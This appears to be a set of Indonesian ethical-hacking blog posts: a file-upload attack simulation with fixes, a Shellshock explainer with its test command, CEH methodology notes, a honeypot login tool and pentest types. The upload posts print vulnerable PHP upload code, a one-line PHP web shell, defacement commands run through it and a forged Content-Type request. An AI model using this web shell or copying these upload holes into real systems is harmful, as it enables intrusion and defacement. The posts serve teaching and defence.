Simulasi Hacking | Patch File Upload Form Part - 2 [Finish]


Jika anda belum membaca artikel sebelumnya, sebaiknya dibaca dahulu karena masih berkaitan.

Oke kita lanjut lagi balada sang admin yang masih galau kok masih bisa ditembus pertahanannya. Di sisi yang lain mari kita telusuri bagaimana hacker memanipulasi data sehingga tetap bisa melakukan deface. Lets cekidot!

Kasus 2 : Tantangan Melewati Validasi Type File

Pertama kali hacker melakukan upload file-jahat.php , namun mendapat pesan penolakan seperti gambar dibawah :


"Hah~ sekarang udah ga bisa upload php ya, lumayan juga nih.." kata si hacker, tapi ini sih masih ada kemungkinan bisa ditembus..

Akhirnya hacker memakai cara memanipulasi tipe file menggunakan teknik tamper data.


Hacker mengganti POST_DATA : 

-----------------------------113632006717497\r\nContent-Disposition: form-data; name="file"; filename="file-jahat.php"\r\nContent-Type: unknown/unknown\r\n\r\n\r\n-----------------------------113632006717497--\r\n

Menjadi : 

-----------------------------113632006717497\r\nContent-Disposition: form-data; name="file"; filename="file-jahat.php"\r\nContent-Type:image/jpg\r\n\r\n\r\n-----------------------------113632006717497--\r\n

Lalu hasilnya, boom!


Ya tentu saja hal ini akan tembus dengan mudah, verifikasi keamanan hanya melalui pengecekan Content-Type file. 

Singkat kata sang admin mulai frustasi dan menghubungi www.Ethic.Ninja (iklan dikit ya haha~), lalu diberikanlah saran mengenai mekanisme upload file yang baik dan aman.

Solusi Upload Form
  • Jangan pernah percaya apa saja yang dikirimkan klien, lakukan validasi 2 tahap, melalui sisi klien dan juga sisi server.
  • Buat list mime-type apa saja yang diperbolehkan untuk diupload.
  • Tutup akses secara langsung pada folder tujuan upload.
  • Maksimalkan penggunaan .htacess untuk menyaring type file
deny from all
order deny,allow
allow from all
  • Lakukan rename nama file hasil upload secara random
  • Hindari tipikal upload file yang membolehkan untuk rewrite file
  • Jika memungkinkan upload file diluar system utama
  • Block IP jika user terus menerus melakukan upaya upload file secara tidak wajar
Sang admin pun akhirnya mengontrak Ethic Ninja untuk melakukan pemrograman diatas, dan drama ini berakhir dengan bahagia.

Shellshock, Bug Terbaru Pada Linux dan Mac OSX 2014



ETHIC.NINJA -- Seperti yang telah dipublikasikan di Vulnerability Summary for CVE-2014-6271 , bahwa Shellshock atau Bug pada Bash memiliki tingkat resiko yang tinggi berpotensi pengambil alihan sistem oleh hacker kepada target.

Bug ini terdapat pada Bash pada sistem Unix seperti Linux dan Mac OSX, padahal seperti yang kita tahu 2 OS ini banyak digunakan oleh pengguna, apalagi para penyedia hostingan, khususnya di Indonesia hampir semuanya menggunakan sistem operasi Linux.

Apa itu Bash?

Bash adalah bagian dari software yang menerjemahkan perintah dari ketikan user untuk diproses oleh komputer. Bash memiliki banyak command yang siap untuk dijalankan oleh komputer. Bash dapat anda jalankan pada terminal, saat ini biasanya bash dijalankan oleh GUI software jadi jarang digunakan secara langsung oleh user.

Lantas aspek apa saja yang dapat menjadi sasaran serangan? 

  1. Komputer-komputer dengan OS Linux dan Mac OSX yang belum dilakukan penambalan / unpatched computer 
  2. Web servers, mengingat di dalamnya banyak data public, sangat masuk akal jika web server dijadikan sasaran utama hacker
  3. Router dan sejenisnya yang menggunakan sistem UNIX juga dapat dijadikan sasaran serangan
 Bagaimana mengetahui jika bash anda terdapat bug ini?

Anda dapat melakukan testing pada terminal anda, ketikkan :

env x='() { :;}; echo hello' bash -c 'echo ninja'

Jika anda mendapat balasan dari sistem : hello ninja

Maka sistem anda memiliki vulnerable ini. Jika tidak maka akan mendapatkan pesan :

bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' hello

Bagaimana saya memperbaiki/menambal/patching bug ini?

Unuk sistem Linux sudah banyak yang mengeluarkan patch ini, ikuti petunjuknya disini. Untuk Mac OSX belum ada namun anda dapat melakukan upgrade manual bash, ikuti petunjuknya disini.

Simulasi Hacking | File Upload Form Part - 1



Kali ini kita akan mempelajari bagaimana proses seorang hacker menyerang website melalui upload form yang disediakan suatu website beserta PENANGGULANGANNYA, harap pergunakan ilmu dengan baik dan bijak.

Kasus 1

Alkisah terdapat sebuah website image hosting yang menyediakan jasa dimana seseorang diperbolehkan upload image di website tersebut. Sang developer memang baru belajar fungsi upload dan berhasil mengimplementasikannya tapi ada satu yang ia lupa yaitu KEAMANAN.




Hingga suatu hari dilihatnya halaman utama websitenya sudah berubah! ada apa gerangan?



Ya, website tersebut terkena deface. Mari kita pelajari source code fungsi upload sang admin (index.php) :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256" /></head><body style="text-align:center;background:#DBEAF9">

<h1>Selamat Datang di website upload suka-suka V.1</h1>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Foto yang ingin diupload : <input name="file" type="file" /><input type="submit" value="Upload" /></form>

<?php 
if (!empty($_FILES["file"]))
{
    if ($_FILES["file"]["error"] > 0)
        {
   echo "Error: " . $_FILES["file"]["error"];
  }
    else
       {
   echo "Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a>";
   move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
       }
}
?>
<br><br>
<br><br>
Copyright by suka-suka website

Whoopsie! ternyata sang admin tidak verifikasi file jenis apapun, jadi imbasnya pengupload dapat upload file apapun ke server sang admin.

Lalu bagaimana cara hacker men-deface halaman utamanya, Lets Cekidot! 

Pertama kali hacker akan menyiapkan file jahat untuk ekseskusi perintah di dalam web server (sebenarnya banyak cara, ini salah satunya saja).

file-jahat.php


1
2
3
<?php
 if(isset($_GET['q'])) echo shell_exec($_GET['q']);
?>


Untuk mendownload semua file yang digunakan pada postingan ini, anda dapat mengunduh di akhir postingan.

Langkah yang dilakukan adalah melakukan upload file-jahat.php diatas dan upload file deface (hacked.php).

Langkah selanjutnya hacker akan memanggil file tersebut dan menambahkan perintahnya. Berikut perintahnya :

images/file-jahat.php?q=ren hacked.php index.php

Perintah diatas adalah perintah untuk melakukan proses rename dari hacked.php ke index.php

langkah selanjutnya adalah melakukan perintah pindah file ke root, karena posisi file index.php (tadinya hacked.php) masih berada di folder image. Ini dia perintahnya :

images/file-jahat.php?q=move index.php ..\

Eng ing eng.... dan halaman utama pun sekarang terkena deface.



Kasus 2

Sang admin pun merasa tertantang, dia membeli buku pemrograman PHP, kemudian mulai mengerti sebaiknya setiap upload-an user harus diidentifikasi dahulu type filenya. Mulailah melakukan eksperimen berikut adalah potongan / snippet codingannya :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php 
if (!empty($_FILES["file"]))
{
    if ($_FILES["file"]["error"] > 0)
        {
   echo "Error: " . $_FILES["file"]["error"];
  }
    else
       { 
   $mime = $_FILES['file']['type'];
   if (strpos($mime,'image') !== false) {
    echo "<h2>Upload berhasil <a href='./images/".$_FILES["file"]["name"]."'>Klik untuk melihat file anda</a><h2>".$mime;
    move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
   } else {
    echo "<h2>O ow udah ga bisa upload lagi ya? tobat lu tobat</h2>".$mime;
   }
       }
}
?>

Lihat di baris ke 10 dan 11, sang admin mulai pintar memberikan kondisi dimana jika type nya bukan image maka ditolak! Dicobalah untuk melakukan upload file php dan hasilnya :


Sang admin pun tidur dengan tenang malam ini. Keesokan paginya sang admin cek websitenya, alangkah terkejutnya ia melihat tampilan websitenya berubah lagi alias di deface lagi! Alamak gimana lagi ini?



Admin pun galau..

Mau tahu kelanjutannya?  

Stay tune and follow us on :

Facebook : https://www.facebook.com/EthicNinja 
Twitter      :  https://twitter.com/ethic_ninja

Road to CEH Part 4 | Hacking Methodology - Metode Hacking


Note : perlu diingat postingan diblog saya adalah ethical hacking bukan evil hacking. Tulisan yang bertujuan untuk keamanan sistem bukan perusakan sistem.
Kamus :
Target : Dapat merupakan sistem, organisasi, perusahaan, kelompok, spesifik kelompok, user atau spesifik user yang meminta untuk dilakukan testing keamanan.


Kali ini kita akan membahas metode hacking atau fase-fase dalam hacking. Sebenarnya tiap kasus bisa berbeda tergantung kondisi, namun kita anggap kondisi yang sekarang terjadi adalah kondisi dimana kita tidak tahu sama sekali tentang target. Jika masih ingat postingan sebelumnya apa jenis dari test ini? Jika belum tahu atau lupa bisa dibaca lagi di postingan ini.

Fase - fase tersebut adalah :

1. Reconnaissance

Ini merupakan persiapan sebelum melakukan penetrasi atau serangan, yaitu mendapatkan segala informasi mengenai target. Di sini mencari vektor apa saja yang bisa dilakukan untuk keperluan testing. Kemudian di fase berikutnya adalah scanning.

2. Scanning

Scanning lebih ke teknisnya, kita dapat melakukan scanning ke sistem secara manual maupun menggunakan tools, semuanya sah-sah saja. Tahap ini untuk mendapatkan informasi mengenai infrastruktur dan kelemahan sistem.

3. Gaining Access

Di fase ini kita melakukan penetrasi/eksploitasi berdasarkan info-info yang telah didapat sebelumnya, hingga mendapatkan akses, dapat melalui port-port tertentu, melalui web server, social engineering, dan lainnya.

4. Maintaining Access

Disini hacker menjaga access supaya tetap dapat diakses selama mungkin, sehngga memungkinkan untuk melihat/mengambil data di kemudian hari. Di fase ini hacker juga mencoba untuk meningkatkan hak akses dengan mengambil root atau ke sistem lainnya.

5. Clearing Tracks

Tahap terakhir adalah penghapusan jejak yang befungsi untuk menghindari deteksi intruder. Bisa saja dengan cara menghapus log, encrypt tools yang digunakan untuk menyerang, dll.

Demikian keterangan singkat metode/fase dalam hacking, kita akan membahas lebih dalam di postingan-postingan berikutnya.

Thanks!.

Honeypot Login


Github : https://github.com/dimazarno/honeypot-login

Honeypot Login, merupakan sebuah file php yang berisikan fungsi login... ya fungsi login.

~ah itu kan biasa

Eh.. sebentar dulu fungsi login yang ini berbeda. Kali ini saya membuat fungsi login yang bukan untuk diakses oleh admin tetapi oleh orang yang tidak diundang, ya bisa jadi dia adalah seorang hacker.

Lalu bagaimana cara kerjanya?

Jadi begini.. hacker sangat senang dengan sesuatu yang memiliki inputan atau form, salah satunya fungsi login ini. Kita tidak perlu memberi tahu ke hacker kalo halaman login admin kita berada di suatu tempat, cepat atau lambat biasanya mereka tahu. Lalu apa yang bisa kita lakukan?

Dengan honeypot login ini, kita bisa mengelabui si hacker setidaknya mengulur waktu sampai dia bosen kok ga tembus-tembus ho ho, misal website saya adalah :

http://www.ethic.ninja/

lalu halaman admin/cms saya saya letakkan di :

http://www.ethic.ninja/admin/

Secara mudah hacker pasti akan tahu halaman admin saya lalu mulai melakukan serangan berikutnya. Kalo password saya standar, mungkin cuma butuh waktu kurang dari 10 detik untuk menjebol admin saya. Ngeri kan? ya ngeri-ngeri sedap, berdasarkan hal tersebut maka saya melakukan pergeseran halaman admin, sekarang halaman admin saya pindah ke :

http://www.ethic.ninja/ngeringerisedap/

Dijamin hacker bakalan bingung nebaknya, nah lalu langkah selanjutnya pada alamat admin yang sebelumnya, yaitu http://www.ethic.ninja/admin/ saya pasangkan honeypot login. Kemudian suatu hari datanglah hacker ke situs saya, lalu mencoba menebak halaman admin saya yang palsu (http://www.ethic.ninja/admin/) sambil berkata :

"Ah udah gila kali, gampang banget dapet halaman adminnya, masa cuma /admin, gw bruteforce dolo ah"

Mulai lah dijalanin tuh bruteforce di halaman login saya, hasilnya 1 jam, 2 jam, 5 jam, 1 hari, 2 hari, 1 minggu.

"Lah kok ga dapet-dapet, pasti kuat banget nih passwordnya"

Padahal mau sampai kiamat juga ga bakal bisa masuk ke halaman admin, lha wong honeypot login kan dibuat ga pake password wong koneksi ke database aja gak =))

Lalu apalagi yang bisa dilakukan honeypot login? Secara diam-diam honeypot login mencatat aktivitas dan IP hacker dalam bentuk log, berikut adalah hal-hal yang dicatat :

- Timestamp
- Username
- Password
- IP
- Hostname
- City
- Region
- Country
- Location (GPS coordinate)
- ISP
- Browser
- OS
- Useragent
- Cookies
- Session

Nah lho jadi keliatan kan infonya. Langkah selanjutnya bisa anda lakukan IP Banned atau tindakan lainnnya. Hmm.. cukup menarik kan? :)

Anda dapat mendownload Honeypot Login di : https://github.com/dimazarno/honeypot-login


Thanks!

Road to CEH Part 2 | Types of Tests



Kali ini kita akan bahas tentang jenis-jenis test/percobaan yang biasa dilakukan oleh seorang konsultan sekuriti terhadap suatu sistem. Jenis-jenis test tersebut antara lain :

1. Vulnerability Testing

Vulnerability testing dilakukan dengan cara melakukan scan terhadap sistem, dapat dilakukan secara manual maupun menggunakan tools dengan tujuan untuk mengetahui apakah sistem tersebut memiliki kelemahan, lalu apa solusi untuk menambal kelemahannya, apa konfigurasi sistem yang mereka pakai, kemudian dihasilkan sebuah laporan keamanan. Dalam testing ini tidak dilakukan tindakan eksploitasi hanya melaporkan temuan/hasil scan yang telah dilakukan. Report tersebut akan menjadi inputan bagi tim penetrasi.

2. Full Penetration Testing

Pada testing ini akan dilakukan ujicoba penyerangan dari berbagai vektor, seperti penyerangan aplikasi web, sql injection, firewall, wireless network, OS. Lihat postingan sebelumnya yang membahas vektor serangan.

3. Targeted Testing
Prosesnya sama seperti full penetration testing, hanya saja penyerangan difokuskan ke satu hal saja, Contoh : 

- Database
- Website
- Aplikasi Klien Server
- Code
- Physical Security
- Social Engineering
- Network Scanning
- Malware
- Kebocoran informasi
- dll

Diklasifikasikan lagi berdasarkan tingkat pengetahuan :

1. Black Box Testing
Pada jenis testing ini kita tidak memiliki pengetahuan apapun tentang target alias zero knowledge, dilakukan dari luar sistem.

2. Grey Box Testing
Disini kita tahu sedikit tentang target, mungkin tahu organisasinya, tahu mengenai security administrator-nya, atau IPnya, tidak banyak pengetahuan yang didapat tapi setidaknya tahu harus mulai darimana. Bisa saja dilakukan dari dalam sistem.

3. White Box Testing
Berbeda dengan yang lainnya, white box testing dilakukan dengan pengetahuan yang penuh, kita tahu sistemnya menggunakan apa, firewall role nya seperti apa, scriptnya seperti apa, dll. Dalam testing ini berusaha untuk mencari exploit apa yang mungkin ditemukan dengan pengetahuan yang dimiliki.

Sekian dulu ya, nanti kita lanjut lagi ke Part 3 mengenai pertahanan. Stay tune!

Thanks.